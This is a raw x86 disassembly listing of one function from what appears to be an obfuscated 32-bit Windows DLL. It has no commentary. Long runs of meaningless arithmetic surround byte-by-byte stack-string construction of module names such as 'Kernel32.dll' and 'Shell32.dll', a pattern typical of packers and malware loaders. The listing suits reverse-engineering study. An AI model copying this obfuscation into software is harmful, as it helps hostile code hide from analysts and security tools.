mov eax, dword [esp + 0x14]
add eax, 0x341
mov dword [esp + 0x1cc], eax
mov eax, dword [esp + 0x14]
add eax, 0xa0
mov dword [esp + 0x30], eax
mov ecx, dword [0x10011010]
mov eax, dword [0x10011014]
sub ecx, 0xd701
mov eax, dword [esp + 0x14]
and dword [section..data], ecx
add eax, 0x15b
mov dword [esp + 0x194], eax
movsx eax, byte [esp + 0xf]
not eax
cdq
mov dword [0x100110a0], eax
mov dword [0x100110a4], edx
mov ax, word [0x10011094]
sub al, 0x4c
mov byte [0x10011004], al
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x1ad
mov dword [esp + 0xb4], eax
mov al, byte [0x10011058]
xor al, 0xe
mov word [esp + 0x58], ax
movsx eax, word [0x10011030]
cdq
mov dword [0x10011048], eax
mov eax, dword [esp + 0x14]
add eax, 0x1de
mov dword [0x1001104c], edx
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x6c]
or eax, dword [esp + 0x80]
je 0x10009f01
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
mov eax, dword [esp + 0x40]
sub eax, ecx
not eax
mov dword [0x10011090], eax
mov eax, dword [esp + 0x14]
mov edx, 0x304
add eax, 0x39e
mov edi, 0x3cb0
mov dword [esp + 0xb8], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x1de
mov dword [esp + 0xbc], eax
mov ax, word [esp + 0x24]
mov eax, dword [esp + 0x14]
add eax, 0x2b0
mov dword [esp + 0x30], eax
mov ax, word [esp + 0x1a]
movzx ecx, al
mov dword [esp + 0x44], ecx
movzx eax, al
dec edx
xor ax, di
mov word [esp + 0x10], ax
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
movzx eax, cx
movzx ecx, word [esp + 0x10]
add cx, ax
movzx eax, cx
movzx ecx, word [esp + 0x10]
add cx, ax
mov word [esp + 0x10], cx
movzx eax, word [0x10011098]
inc ax
mov word [0x10011098], ax
mov ax, word [esp + 0x1a]
test edx, edx
jg 0x10009f52
mov eax, dword [esp + 0x14]
add eax, 0x23a
mov dword [esp + 0xf0], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov ax, word [esp + 0x3e]
movsx eax, al
shl eax, 8
mov dword [0x100110c0], eax
mov eax, dword [esp + 0x14]
add eax, 0x7d
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
add eax, 0x126
mov dword [esp + 0xe4], eax
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x1000a15c
movsx eax, word [esp + 0x20]
cmp dword [esp + 0x90], eax
je 0x1000a108
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
mov ax, word [esp + 0x20]
sub al, cl
mov byte [0x1001103b], al
jmp 0x1000a1e7
mov ecx, dword [0x100110b0]
mov eax, dword [esp + 0x74]
not ecx
movsx eax, al
cmp eax, ecx
jbe 0x10009e2c
mov eax, dword [0x10011058]
or eax, dword [0x1001105c]
jne 0x1000a052
mov eax, 1
sub ax, word [0x10011034]
mov word [esp + 0x20], ax
jmp 0x10009e2c
xor eax, eax
sub ax, word [0x10011034]
mov word [esp + 0x20], ax
jmp 0x10009e2c
movzx eax, word [esp + 0x10]
cdq
cmp edx, dword [0x1001105c]
jg 0x10009e2c
jl 0x1000a085
cmp eax, dword [0x10011058]
ja 0x10009e2c
movzx eax, byte [0x10011006]
mov ecx, dword [esp + 0x6c]
mov esi, dword [esp + 0x80]
cdq
add eax, ecx
adc edx, esi
and ecx, eax
and esi, edx
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x80], esi
mov esi, dword [esp + 0x48]
mov eax, esi
or eax, edi
jne 0x1000a0ba
lea ecx, [eax + 1]
jmp 0x1000a0bc
xor ecx, ecx
mov eax, dword [0x100110c4]
mov dh, 0xc4
sub eax, ecx
mov ecx, dword [0x10011028]
mov eax, dword [0x1001102c]
sete dl
or ecx, eax
je 0x1000a0d9
mov dh, 0xc5
mov ax, word [0x10011038]
add dh, byte [0x100110c8]
sub dl, byte [esp + 0x88]
sub dh, al
mov ecx, dword [0x10011018]
sub dl, cl
mov eax, dword [0x1001101c]
xor dl, dh
mov byte [0x10011004], dl
jmp 0x10009e30
mov eax, dword [0x10011058]
or eax, dword [0x1001105c]
je 0x1000a133
movzx eax, word [esp + 0x10]
cdq
add eax, 0x9f
mov dword [esp + 0x6c], eax
adc edx, 0
mov dword [esp + 0x80], edx
jmp 0x1000a1e7
mov eax, dword [0x100110b8]
or eax, dword [0x100110bc]
je 0x1000a1e7
movsx ecx, word [0x10011030]
movzx eax, word [esp + 0x24]
inc eax
add eax, ecx
mov dword [esp + 0x40], eax
jmp 0x1000a1e7
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
or ecx, eax
je 0x1000a17b
cmp word [0x1001103c], 0
je 0x1000a17b
cmp byte [0x10011033], 0
jne 0x1000a1e7
mov al, byte [0x100c3113]
mov word [esp + 0x3e], ax
mov byte [esp + 0xd4], al
mov eax, dword [0x100110b4]
mov edx, dword [0x10011028]
mov ecx, dword [0x1001102c]
sub edx, eax
sbb ecx, 0
or edx, ecx
jne 0x1000a1ad
mov edx, 1
jmp 0x1000a1af
xor edx, edx
mov ax, word [0x10011098]
add ax, word [0x100110a8]
mov cx, word [esp + 0x24]
not ax
add cx, si
movzx eax, ax
movsx ecx, cx
cwde
imul ecx, eax
movzx eax, cx
mov ecx, dword [0x100110b0]
not ecx
add ecx, edx
add ecx, eax
not ecx
mov word [esp + 0x20], cx
mov eax, dword [esp + 0x14]
xor ecx, ecx
add eax, 0x275
cmp byte [esp + 0x3e], cl
mov dword [esp + 0xb0], eax
movzx eax, word [esp + 0x24]
sete cl
movzx esi, word [0x10011050]
cdq
sub eax, ecx
movsx ecx, word [0x1001109c]
mov dword [esp + 0xc0], eax
sbb edx, 0
xor eax, eax
mov dword [esp + 0x5c], edx
add esi, ecx
mov edx, dword [esp + 0x7c]
movzx edi, dx
imul edi, dword [esp + 0x44]
test edi, edi
cmove eax, esi
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [0x10011037]
cdq
or eax, dword [0x100110a8]
or edx, dword [0x100110ac]
sub eax, dword [esp + 0xc0]
sbb edx, dword [esp + 0x5c]
push edx
push eax
push ecx
push esi
call fcn.1000fd50
mov dword [0x10011078], eax
mov eax, dword [0x1001465c]
mov dword [0x1001107c], edx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x1a9
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x14]
add eax, 0x280
mov dword [esp + 0x84], eax
movsx eax, word [0x1001109c]
mov esi, dword [0x10011028]
mov ecx, dword [0x1001102c]
cdq
push edx
push eax
push ecx
push esi
call fcn.1000fd50
mov ecx, dword [0x10011028]
mov esi, dword [0x1001102c]
add ecx, eax
mov dword [0x10011028], ecx
adc esi, edx
mov dword [0x1001102c], esi
mov eax, dword [esp + 0x14]
add eax, 0x36a
mov dword [esp + 0x30], eax
mov ecx, dword [0x10011028]
mov eax, dword [0x1001102c]
mov eax, dword [esp + 0x8c]
sub al, cl
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
mov eax, dword [0x1001465c]
mov dword [esp + 0x78], eax
mov al, byte [esp + 0xe]
movzx ecx, al
mov eax, 0xffffc379
cwde
movsx ecx, cx
imul ecx, eax
xor cx, word [esp + 0x20]
mov word [esp + 0x20], cx
mov eax, dword [esp + 0x78]
add eax, 0xf8
mov dword [esp + 0x98], eax
mov eax, dword [0x10011080]
mov edi, dword [esp + 0x90]
sar eax, 6
cdq
mov dword [0x10011068], eax
mov dword [0x1001106c], edx
mov eax, dword [esp + 0x78]
add eax, 0x1ab
mov dword [0x10011074], 0
mov dword [esp + 0x14], eax
mov eax, edi
and eax, 0xe0a1
mov dword [0x10011070], eax
mov eax, dword [esp + 0x78]
add eax, 0x256
mov dword [esp + 0x44], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add eax, 0x1b1
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x78]
movups xmm0, xmmword [str.ErrorDescription]
add eax, 0xbb
mov dword [esp + 0x5c], eax
mov al, byte [0x100101f0]
mov byte [esp + 0x250], al
lea eax, [esp + 0x240]
push eax
movups xmmword [esp + 0x244], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x78]
mov esi, dword [esp + 0x48]
add ecx, 0x2c3
mov dword [esp + 0x30], ecx
mov ecx, dword [0x100110c8]
mov byte [esp + 0x1a], al
add ecx, 0xdc
mov eax, dword [esp + 0x74]
add ecx, edi
movsx eax, al
mov dword [0x100110c8], ecx
mov dword [esp + 0xc0], eax
mov dword [esp + 0x40], 0x67
nop dword [eax]
push 0xffffffffffffffd6
push 0
push 0x55
push dword [esp + 0xe0]
mov dl, 0xf0
mov cl, 0xe4
push 0
call fcn.100016c0
cbw
xor ecx, ecx
add esp, 0x14
movzx eax, ax
mov dword [esp + 0x78], eax
movzx eax, byte [esp + 0xe]
cmp eax, dword [esp + 0xc0]
movsx eax, byte [esp + 0xf]
sete cl
imul eax, edi
cmp ecx, eax
jne 0x1000a4f7
movzx eax, word [esp + 0x10]
mov ecx, dword [0x10011018]
cdq
mov dword [esp + 0x20], ecx
mov ecx, dword [0x1001101c]
cmp ecx, edx
jl 0x1000a47e
jg 0x1000a477
cmp dword [esp + 0x20], eax
jb 0x1000a47e
mov ecx, 1
jmp 0x1000a480
xor ecx, ecx
mov edx, dword [0x10011018]
mov eax, dword [0x1001101c]
test eax, eax
jl 0x1000a49d
jg 0x1000a496
cmp edx, 0x22
jb 0x1000a49d
mov eax, 1
jmp 0x1000a49f
xor eax, eax
cmp ecx, eax
jbe 0x1000a4bb
mov al, byte [0x10071168]
mov byte [0x1001103a], al
movzx eax, byte [0x10077af4]
mov dword [0x100110b4], eax
jmp 0x1000a4f7
movsx eax, word [0x10011094]
mov ecx, esi
not ecx
cdq
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x4c]
not ecx
cmp edx, ecx
jb 0x1000a4f7
ja 0x1000a4dd
cmp eax, dword [esp + 0x20]
jbe 0x1000a4f7
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
mov ax, cx
add cx, cx
add ax, cx
shl ax, 5
mov word [esp + 0x24], ax
sub dword [esp + 0x40], 1
jne 0x1000a410
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
add eax, 0x3b713b14
mov dword [esp + 0x50], eax
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
adc ecx, 0
mov dword [esp + 0x54], ecx
mov eax, dword [esp + 0x1a0]
mov edx, dword [esp + 0x1a0]
xor dl, al
mov byte [esp + 0x12b], 0x6c
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0xec]
movq xmm0, qword [str.LineNumber]
sub cl, al
movsx eax, dl
movsx ecx, cl
imul ecx, eax
movzx eax, word [0x100101fc]
mov word [esp + 0x1dc], ax
mov al, byte [0x100101fe]
mov byte [esp + 0x1de], al
lea eax, [esp + 0x1d4]
add cl, 0x6c
movq qword [esp + 0x1d4], xmm0
push eax
mov byte [esp + 0x129], cl
call esi
movups xmm0, xmmword [str.Invalid_value_for]
cdq
mov dword [0x10011010], eax
movzx eax, word [0x10010210]
mov word [esp + 0x210], ax
mov al, byte [0x10010212]
mov byte [esp + 0x212], al
lea eax, [esp + 0x200]
push eax
mov dword [0x10011014], edx
mov byte [esp + 0x124], 0x4b
movups xmmword [esp + 0x204], xmm0
call esi
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd0]
xor cl, al
mov eax, dword [esp + 0xd0]
movsx ecx, cl
movsx eax, al
imul eax, ecx
mov cl, al
shl cl, 5
sub cl, al
mov ax, word [esp + 0x58]
add cl, 0x33
movzx eax, al
mov byte [esp + 0x126], cl
cmp eax, 0x5946
jb 0x1000a62d
mov eax, dword [esp + 0x6c]
add eax, 0x3d
movzx eax, ax
mov dword [esp + 0x7c], eax
jmp 0x1000a66b
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
or ecx, eax
jne 0x1000a63e
lea edx, [ecx + 1]
jmp 0x1000a640
xor edx, edx
mov esi, dword [esp + 0x78]
xor ecx, ecx
movsx eax, si
cmp eax, edx
movzx eax, word [esp + 0x24]
setl cl
cmp ecx, eax
jbe 0x1000a66b
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
sub ecx, 0xb5
mov dword [0x100110b0], ecx
mov eax, dword [esp + 0x1ac]
mov eax, dword [esp + 0x1a8]
mov eax, dword [esp + 0x174]
mov eax, dword [esp + 0x1a8]
mov eax, dword [esp + 0x1ac]
movzx eax, byte [0x10011033]
mov ecx, dword [0x100110a0]
mov esi, dword [0x100110a4]
mov edi, dword [0x10011048]
cdq
not edi
add ecx, eax
mov byte [esp + 0x12a], 0x6c
mov byte [esp + 0x122], 0x72
adc esi, edx
mov edx, dword [0x1001104c]
add edi, ecx
not edx
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
adc edx, esi
add ecx, edi
adc eax, edx
or ecx, eax
jne 0x1000a6df
lea edx, [ecx + 1]
jmp 0x1000a6e1
xor edx, edx
mov ax, word [esp + 0x58]
mov ecx, 0x5f6f
movzx eax, al
mov esi, 0x244
sub cx, ax
mov byte [esp + 0x123], 0x6e
sub cx, dx
add dword [esp + 0x78], esi
mov word [0x10011094], cx
nop dword [eax]
xor cl, cl
call fcn.100015c0
movzx eax, al
mov word [esp + 0x20], ax
cmp word [esp + 0x20], 0
jl 0x1000a734
mov eax, dword [esp + 0x7c]
add eax, 0xffffffba
mov word [0x1001103c], ax
sub esi, 1
jne 0x1000a710
mov eax, dword [esp + 0x6c]
add eax, 0x561aa6ff
mov byte [esp + 0x129], 0x64
or dword [esp + 0x90], eax
movzx eax, word [esp + 0x1c]
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
cdq
xor esi, eax
mov byte [esp + 0x121], 0x65
mov eax, dword [esp + 0x28]
xor edi, edx
mov ecx, dword [esp + 0x2c]
add eax, esi
mov byte [esp + 0x127], 0x32
mov byte [0x10011036], 0x95
adc ecx, edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
mov eax, dword [0x10011064]
push eax
mov eax, dword [0x10011060]
push eax
movsx eax, byte [0x10011005]
push 0
cdq
push 0
push edx
push eax
mov byte [esp + 0x140], 0x2e
call fcn.100012e0
xor edx, edx
mov word [0x10011034], ax
add esp, 0x18
cmp ax, 0x33
sete dl
xor ecx, ecx
test ax, ax
sete cl
cmp ecx, edx
ja 0x1000a7f1
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
add eax, 0xb51fd48f
mov dword [0x10011070], eax
adc ecx, 0x9da0c
mov dword [0x10011074], ecx
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0x1b0]
xor cl, al
mov eax, dword [esp + 0x1b0]
sub cl, al
mov eax, dword [esp + 0xe0]
mov edx, dword [0x100110b8]
sub cl, al
add cl, 0x65
push 0
mov byte [esp + 0x128], cl
xor ecx, ecx
push 0
push 0
call fcn.10001130
cwde
add esp, 0xc
mov dword [0x100110c4], eax
cmp eax, 0x1c
jae 0x1000a935
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
cmp eax, dword [esp + 0x4c]
ja 0x1000a85f
jb 0x1000a858
cmp ecx, dword [esp + 0x48]
jae 0x1000a85f
mov ecx, 1
jmp 0x1000a861
xor ecx, ecx
mov edx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
test eax, eax
ja 0x1000a87b
jb 0x1000a874
cmp edx, 0x64
jae 0x1000a87b
mov eax, 1
jmp 0x1000a87d
xor eax, eax
cmp ecx, eax
ja 0x1000a8f7
mov ax, word [0x10011044]
mov cl, byte [0x1001109c]
mov word [esp + 0x20], ax
not cl
mov al, cl
shl cl, 2
add al, cl
mov byte [esp + 0xf], al
mov dl, byte [esp + 0x1a]
movzx eax, byte [0x10011007]
xor ecx, ecx
mov esi, dword [esp + 0x78]
cmp si, ax
mov byte [esp + 0x12c], 0
setge cl
xor eax, eax
cmp si, 0x14
setge al
cmp ecx, eax
jae 0x1000a9c2
movzx eax, dl
xor edx, edx
cmp dword [0x100110c8], eax
setne dl
xor eax, eax
cmp dword [0x100110c8], 0x56
setne al
cmp edx, eax
ja 0x1000a957
mov byte [esp + 0x3e], 0x16
jmp 0x1000aa1f
cmp dword [0x100110c4], 0
je 0x1000a89f
mov eax, dword [0x1001465c]
mov dword [0x10011060], eax
mov dword [0x10011064], 0
movzx ecx, word [0x10011098]
movzx eax, word [0x10011098]
sub ecx, eax
add cx, word [esp + 0x10]
mov word [0x10011098], cx
jmp 0x1000a89f
movsx ax, byte [0x10011032]
mov ecx, 0x297b
mov dl, 2
mov byte [esp + 0x1a], dl
add ax, cx
movzx eax, ax
mov dword [esp + 0x7c], eax
jmp 0x1000a8a3
cmp word [0x10011094], 0
je 0x1000a97a
mov dword [0x10011010], 0xda616980
mov dword [0x10011014], 0x10447
jmp 0x1000aa1f
cmp dword [0x100110b4], 0
mov edi, dword [esp + 0x90]
je 0x1000aa26
cmp dword [0x10011090], 0
je 0x1000aa26
mov eax, edi
cdq
add eax, 0xe177ceca
mov dword [0x10011078], eax
mov eax, dword [esp + 0xc0]
adc edx, 0x7bbe2
mov dword [0x1001107c], edx
mov dword [0x1018a8f4], eax
jmp 0x1000aa26
mov esi, dword [0x10011008]
mov ecx, dword [0x1001100c]
not esi
movsx eax, byte [esp + 0xf]
not ecx
cdq
cmp ecx, edx
jb 0x1000a9e9
ja 0x1000a9e2
cmp esi, eax
jb 0x1000a9e9
mov esi, 1
jmp 0x1000a9eb
xor esi, esi
movzx ecx, byte [0x10011006]
xor edx, edx
movzx eax, word [esp + 0x1c]
cmp cx, ax
sete dl
cmp edx, esi
jb 0x1000aa1f
mov ax, word [esp + 0x1c]
sub ax, word [0x10011058]
mov cx, word [esp + 0x1c]
movzx eax, ax
add cx, ax
mov word [esp + 0x1c], cx
mov edi, dword [esp + 0x90]
mov eax, dword [esp + 0xa0]
movsx ecx, byte [esp + 0xa0]
mov edx, dword [esp + 0xa0]
movsx eax, al
imul eax, ecx
mov cl, 0xb4
push 0
push 0xe9
push 0
push 0xfb
sub cl, al
mov eax, dword [esp + 0xb0]
add dl, cl
mov ecx, dword [esp + 0xb0]
sub cl, al
mov eax, dword [esp + 0x188]
add al, 0x4c
movsx ecx, cl
movsx eax, al
imul ecx, eax
movsx eax, dl
push 0
push 0x87
movsx ecx, cl
imul ecx, eax
add cl, 0x6c
mov byte [esp + 0x136], cl
call fcn.100012e0
mov dword [0x100110a0], eax
add esp, 0x18
mov dword [0x100110a4], edx
mov ecx, dword [0x100110a0]
mov eax, dword [0x100110a4]
or ecx, eax
je 0x1000aabb
mov ecx, 1
jmp 0x1000aabd
xor ecx, ecx
mov eax, dword [0x100110a0]
mov edx, dword [0x100110a4]
cmp eax, 0x32
jne 0x1000aad5
test edx, edx
jne 0x1000aad5
xor eax, eax
jmp 0x1000aada
mov eax, 1
cmp ecx, eax
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
jne 0x1000ab04
mov dl, byte [esp + 0x1a]
add dl, dl
add dl, byte [0x10011037]
sub cl, 0x7b
mov byte [esp + 0x1a], dl
mov byte [0x10011006], cl
jmp 0x1000aba4
not eax
not ecx
cmp dword [esp + 0x80], eax
jl 0x1000ab31
jg 0x1000ab19
cmp dword [esp + 0x6c], ecx
jb 0x1000ab31
mov dword [esp + 0xc0], 1
mov dword [esp + 0xe0], 0
jmp 0x1000ab59
xorps xmm0, xmm0
movlpd qword [esp + 0x178], xmm0
mov eax, dword [esp + 0x17c]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x178]
mov dword [esp + 0xc0], eax
mov esi, dword [esp + 0x60]
mov ax, word [esp + 0x58]
mov ecx, dword [esp + 0x64]
push ecx
movzx eax, al
cdq
push esi
push edx
push eax
call fcn.1000fd50
cmp eax, dword [esp + 0xc0]
jne 0x1000ab85
cmp edx, dword [esp + 0xe0]
je 0x1000aba0
movsx ax, byte [0x10011005]
neg ax
mov word [0x10011034], ax
mov eax, 0x87
mov word [esp + 0x24], ax
mov dl, byte [esp + 0x1a]
mov eax, dword [esp + 0x1a4]
mov eax, dword [esp + 0x184]
mov eax, dword [esp + 0x1a4]
mov eax, dword [esp + 0xd8]
cmp dword [0x100110b0], 0
mov byte [esp + 0x11c], 0x64
mov byte [esp + 0x118], 0x6c
je 0x1000abe9
mov eax, dword [0x10011088]
mov ecx, dword [0x1001108c]
jmp 0x1000ac78
cmp word [esp + 0x24], 0
je 0x1000ac1e
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
movzx eax, dl
and ecx, eax
movsx eax, byte [0x10011032]
imul eax, ecx
movzx ecx, word [esp + 0x24]
imul ecx, eax
movzx eax, word [esp + 0x1c]
add eax, ecx
mov dword [0x10011040], eax
jmp 0x1000ac78
movsx eax, byte [0x10011005]
cdq
or eax, dword [0x10011070]
or edx, dword [0x10011074]
or eax, edx
jne 0x1000ac3b
lea esi, [eax + 1]
jmp 0x1000ac3d
xor esi, esi
movzx edx, word [esp + 0x24]
xor ecx, ecx
movsx eax, word [esp + 0x20]
not edx
cmp edx, eax
setge cl
add ecx, esi
je 0x1000ac78
movzx eax, word [esp + 0x24]
imul eax, eax, 0x8d0a2dad
mov dword [esp + 0x80], 0
mov dword [esp + 0x6c], eax
mov eax, 0xb2c4
mov word [esp + 0x1c], ax
mov esi, dword [0x10011078]
mov eax, edi
mov ecx, dword [0x1001107c]
cdq
mov byte [esp + 0x11b], 0x2e
cmp ecx, edx
jb 0x1000acf5
ja 0x1000ac99
cmp esi, eax
jb 0x1000acf5
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
or ecx, eax
je 0x1000acce
mov ecx, dword [0x10011068]
movzx eax, byte [0x1001462b]
add cl, 0x65
mov dword [esp + 0x90], eax
mov eax, dword [0x1001106c]
mov dword [esp + 0x8c], ecx
mov byte [esp + 0x70], cl
jmp 0x1000acf5
mov ax, word [esp + 0x3e]
movsx eax, al
cdq
cmp dword [0x100110bc], edx
jg 0x1000acf5
jl 0x1000ace9
cmp dword [0x100110b8], eax
jae 0x1000acf5
imul eax, dword [esp + 0x40], 0x3f6639af
mov dword [esp + 0x40], eax
mov ecx, dword [0x10011060]
mov eax, dword [0x10011064]
or ecx, eax
mov byte [esp + 0x115], 0x68
je 0x1000ad73
mov eax, dword [0x100110b4]
sub dword [0x100110b0], eax
movsx eax, byte [0x1001103b]
movsx ecx, word [esp + 0x20]
not eax
mov esi, dword [esp + 0x50]
sub eax, ecx
mov ecx, dword [esp + 0x54]
not eax
cdq
push edx
push eax
push ecx
push esi
call fcn.1000fd50
push dword [esp + 0x80]
push dword [esp + 0x70]
push edx
push eax
call fcn.1000fd50
mov esi, dword [esp + 0x40]
xor ecx, ecx
sub esi, 0x6e6c
sub esi, eax
sbb ecx, edx
or esi, ecx
jne 0x1000ad6a
mov al, 1
mov byte [0x10011004], al
jmp 0x1000ade1
xor al, al
mov byte [0x10011004], al
jmp 0x1000ade1
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
or ecx, eax
je 0x1000ad8f
mov al, byte [esp + 0x48]
add al, 0x20
mov byte [0x1001103b], al
jmp 0x1000ade1
mov ecx, dword [0x10011008]
mov eax, dword [0x1001100c]
sub ecx, dword [0x100110a8]
sbb eax, dword [0x100110ac]
or ecx, eax
je 0x1000adc9
cmp word [esp + 0x24], 0
je 0x1000adbe
mov cl, byte [0x10011004]
mov dword [esp + 0x74], ecx
jmp 0x1000ade1
mov eax, dword [0x10011040]
mov dword [esp + 0x74], eax
jmp 0x1000ade1
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x1000ade1
mov ax, word [esp + 0x10]
sub al, 0x77
mov word [esp + 0x58], ax
movsx eax, word [esp + 0x20]
mov byte [esp + 0x114], 0x53
cmp dword [esp + 0x40], eax
jb 0x1000adfd
mov ecx, 1
xor eax, eax
jmp 0x1000ae17
xorps xmm0, xmm0
movlpd qword [esp + 0xd8], xmm0
mov eax, dword [esp + 0xdc]
mov ecx, dword [esp + 0xd8]
cmp dword [0x1001104c], eax
ja 0x1000ae30
jb 0x1000ae29
cmp dword [0x10011048], ecx
ja 0x1000ae30
mov edx, 1
jmp 0x1000ae32
xor edx, edx
movsx eax, word [0x1001109c]
xor ecx, ecx
cmp dword [section..data], eax
movzx eax, word [esp + 0x24]
setne cl
cmp eax, ecx
sbb eax, eax
inc eax
cmp edx, eax
ja 0x1000aeb1
mov al, byte [esp + 0x1a]
test al, al
je 0x1000ae72
movzx eax, al
xor eax, dword [0x100110c4]
mov dword [esp + 0x40], 1
mov dword [section..data], eax
jmp 0x1000aeb1
mov ax, word [esp + 0x1c]
xor ecx, ecx
mov ax, word [esp + 0x20]
cmp word [0x10011050], cx
movzx eax, byte [0x1001103c]
cmove ecx, eax
mov byte [0x10011032], cl
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
movzx eax, cl
imul eax, eax, 0xb2
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
mov eax, dword [0x1001465c]
mov byte [esp + 0x119], 0x33
mov word [esp + 0x116], 0x6c65
mov byte [esp + 0x11d], 0x6c
mov word [0x10011094], ax
mov eax, dword [esp + 0x40]
mov byte [0x10011032], al
mov eax, dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, dword [esp + 0x74]
movsx eax, al
cdq
mov edi, eax
mov dword [esp + 0xec], eax
movzx eax, byte [0x10011006]
mov ecx, edx
add edi, 0x6b687bbb
cdq
mov esi, ecx
mov byte [esp + 0x11a], 0x32
adc esi, 0x9c7b4
mov dword [0x10011070], 0x24e6597b
mov dword [0x10011074], 0
mov dword [esp + 0xc4], ecx
cmp eax, edi
jne 0x1000af93
cmp edx, esi
jne 0x1000af93
movsx ecx, byte [0x1001103b]
movzx eax, word [esp + 0x10]
add eax, ecx
cmp eax, 1
jne 0x1000af93
mov eax, dword [esp + 0x40]
add eax, 0x1df5
mov word [0x1001109c], ax
mov al, byte [0x10011033]
inc al
mov dword [0x10011070], 0x24e6597b
mov byte [0x10011033], al
movzx eax, byte [0x10011006]
cdq
mov dword [0x10011074], 0
cmp eax, edi
jne 0x1000af93
cmp edx, esi
je 0x1000af41
movzx ecx, byte [esp + 0xe]
mov eax, dword [esp + 0x40]
sub cl, al
mov byte [esp + 0xe], cl
mov eax, dword [esp + 0xe8]
movsx ecx, byte [esp + 0xa8]
movsx edx, al
mov eax, dword [esp + 0xe8]
imul edx, ecx
movsx ecx, byte [esp + 0xa8]
movsx eax, al
imul eax, ecx
sub dl, al
movzx eax, word [esp + 0x1c]
mov ecx, dword [0x10011088]
mov esi, dword [0x1001108c]
mov byte [esp + 0x11f], dl
cdq
cmp ecx, eax
jne 0x1000b0f4
cmp esi, edx
jne 0x1000b0f4
cmp dword [esp + 0x40], 0
je 0x1000b033
movzx ecx, word [section..data]
mov edx, dword [esp + 0x8c]
mov eax, ecx
imul eax, dword [0x10011048]
not ecx
and eax, ecx
mov ecx, 0x4a62
mov word [esp + 0x20], ax
movzx eax, dl
add ax, cx
mov word [esp + 0x10], ax
jmp 0x1000b0f4
cmp byte [esp + 0x74], 0
je 0x1000b05b
mov ax, word [esp + 0x20]
sub al, 0x6a
mov dword [0x100110c8], 0x627fbf0d
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
jmp 0x1000b0f4
movzx ecx, byte [0x10011033]
xor edx, edx
movsx eax, word [0x1001109c]
cmp ecx, eax
sete dl
cmp edx, dword [esp + 0x40]
jbe 0x1000b0f4
movsx eax, byte [esp + 0xf]
mov edi, dword [0x10011078]
mov esi, dword [0x1001107c]
imul eax, eax, 0x2405
cdq
mov dword [esp + 0xd8], eax
mov ax, word [esp + 0x3e]
push edx
push dword [esp + 0xdc]
movsx eax, al
cdq
add edi, eax
adc esi, edx
push esi
push edi
call fcn.1000fd50
mov dword [0x10011048], eax
mov edi, 0xffffff52
mov dword [0x1001104c], edx
mov esi, 0xffffffff
mov edx, dword [esp + 0x8c]
movzx eax, dl
cdq
sub edi, eax
mov eax, dword [0x10011008]
mov ecx, dword [0x1001100c]
sbb esi, edx
add edi, eax
mov dword [0x10011008], edi
adc esi, ecx
mov dword [0x1001100c], esi
mov eax, dword [esp + 0x74]
movsx eax, al
mov dword [esp + 0xd0], eax
cdq
mov dword [esp + 0x178], eax
add eax, 0x6b687bbb
mov dword [esp + 0xd8], eax
mov eax, edx
adc eax, 0x9c7b4
mov dword [esp + 0x174], edx
mov dword [esp + 0x184], eax
nop dword [eax + eax]
movzx eax, byte [esp + 0xe]
mov dword [0x10011070], 0x6b687bbb
mov ecx, dword [0x10011070]
cdq
add ecx, eax
mov dword [0x10011074], 0x9c7b4
mov edi, dword [0x10011074]
mov eax, edi
adc eax, edx
cmp dword [0x10011070], ecx
jne 0x1000b197
cmp edi, eax
jne 0x1000b197
mov ecx, dword [0x100110b4]
mov eax, dword [esp + 0x7c]
movzx eax, ax
sub ecx, eax
mov dword [0x100110b4], ecx
movzx eax, byte [0x10011007]
cdq
cmp eax, dword [esp + 0xd8]
jne 0x1000b197
cmp edx, dword [esp + 0x184]
je 0x1000b130
movzx ecx, word [esp + 0x24]
mov edx, 0x7bbb
mov word [0x1001103c], dx
inc ecx
